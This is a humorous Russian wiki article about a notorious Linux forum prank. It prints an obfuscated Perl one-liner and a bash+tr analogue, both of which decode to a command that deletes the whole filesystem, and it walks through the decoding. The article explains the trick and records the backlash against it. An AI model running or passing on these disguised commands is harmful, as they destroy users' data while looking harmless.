Программа из одной строчки на Perl

Материал из Неолурк, народный Lurkmore
(перенаправлено с «Однострочник на Perl»)
Перейти к навигации Перейти к поиску

Фраза Программа из одной строчки на Perl происходит из одноимённой темы раздела Development расово верного форума ЛОР, в которой коварный анонимус запостил скрипт на Perl, сетуя на то, что он не работает. На самом деле, в названии оригинальной темы была ошибка — «программа из одной строчки ни Perl».

Последствия[править]

Как водится, скрипт был немедленно скопипащен в первый попавшийся шелл тысячами доверчивых пользователей, где и успешно выполнен. Вскоре начали появляться каменты типа «сука, блять, хорошо хоть рабочая станция. мудило блять...», что сподвигло суровых Perl-гуру всё-таки разобраться, что же на самом деле делает это коварное изделие. Вскоре от модератора Die-Hard поступило резюме о том, какую же команду скрипт выполняет.

Суть скрипта[править]

Сабж выглядит вот так:

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Те же яйца, но в профиль:

$var = "=]=>%-{<-|}<&|`{";
$var = tr{ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}}
         {`abcdefghijklmnopqrstuvwxyz{/" -};
eval($var);

То есть, сначала командой $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{; во временную переменную записывается текст =]=>%-{<-|}<&|`{, затем он транслитерируется (y; -/:-@[-`{-};`-{/« -;) и превращается в команду system"rm -rf /", смысл которой понятен даже людям, с Perl не знакомым. Далее эта команда отдается на исполнение интерпретатору (s;;$_;see). Скрипт использует ряд идиом Perl, усложняющих чтение исходного кода, но ему очень далеко до истинных шедевров в этой области.

Аудитория[править]

Скрипт был рассчитан на лохов, работающих под рутом, и как следствие, потенциально удаливших весь корневой раздел со всей порнухой и смонтированными файловыми системами с порнухой. Сделано всё было исключительно ради лулзов, однако это породило целый мегафлейм, затрагивающий чуть менее, чем все моральные аспекты жизнедеятельности человеков. Как заметил другой анонимус:

А еще мы наверное кнопки канцелярские на стулья коллегам подбрасываем, да? А хули — смотреть надо куда садишься! Или веревки на уровне щиколоток натягиваем, что бы ламерье, которое под ноги не смотрит под общий смех таких же дебилов наебывалось. Тут вопрос то не в уровне квалификации! Блять, тут же не кроватка какаянить этож, нах, профешионал сосаити со всеми атрибутами. И ставить такой код — это все равно, что сунуть человеку раскаленный утюг с милой улыбкой: типа подержи пока.. Любой знает, что утюг может быть горячим, но как правило, такого уровня идиотского юмора просто не предполагаешь. Тем более, что у недоумков вроде автора этой веселой шутки, под управлением одна писюха под непонятно зачем поднятым на нем линухом. Нормальные люди окучивают по три-пять площадок одновременно и еще отвлекают, плюс бутерод и форума почитать — чтоб передохнуть. А тут перловая заковыристая строчка интересная вроде.. и блять умники — вот честно, кто одним махом понял чо за код? Первым делом какой позыв когда скрипт падает? Хуйнуть в первый же попавшийся шелл и посмотреть на ошибку интерпритатора, так? Короче, займись делом, шутник хуев. И когда ты лично хакер вонючий наступишь в кучу говна посреди темного лифта — помни, что это просто веселая шутка. Не будь ламером, всегда смотри куда наступаешь! Адье! ПС а ветку эту лучше оставить. В назидание.

Аналог на bash+tr[править]

ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null

Принцип действия абсолютно тот же самый.

Ссылки[править]

Lor opacity.png Обитель ОС-петушелл
Людиalphex_kaanoken • GeneratorglukoffGuttaLinuxJBK48KominternShaman007SherakSikonSilvyАлексей БабушкинАнонимус • Батарейкин • ВилфредГанс РейзерГрегореДенис ПоповЛуговскийМихаилПатрикСанычТеоШаман
Мемы128 bitDimmu Borgir - 51kJust for Funlibastral.soTRUE-DEATH-PRIMITIVE-LINUX-MITOLLАнальное рабствоА под Слакой это работает?ВендекапецВеществаДонской табакЖдём ебилдовЗакопайте обратноК логопеду, быдлоЛетающие коровыЛОР-эффектМашина времениМетанацияНе нуженНе работай под рутомНичего не поделаешь, это FlashПерестаньте насиловать труп!Плазма не падаетПрограмма из одной строчки на PerlРешетоСкриншот с ЛОРСпециалисты по всемуТелепаты в отпускеТолько закончил собиратьУбей себя, как ТоммиУМВРШрифты — говноЭлектролит из соплей девственницы
ПрограммированиеArchFedoraGentooGIMPGNOMEJavaKDEPerlSlackware LinuxTeX
Прочее12309Common SenseGNOME vs. KDENixburgАппрувВеликий Исход МодераторовКостыльЛолксЛузирсНытик-тредыТукс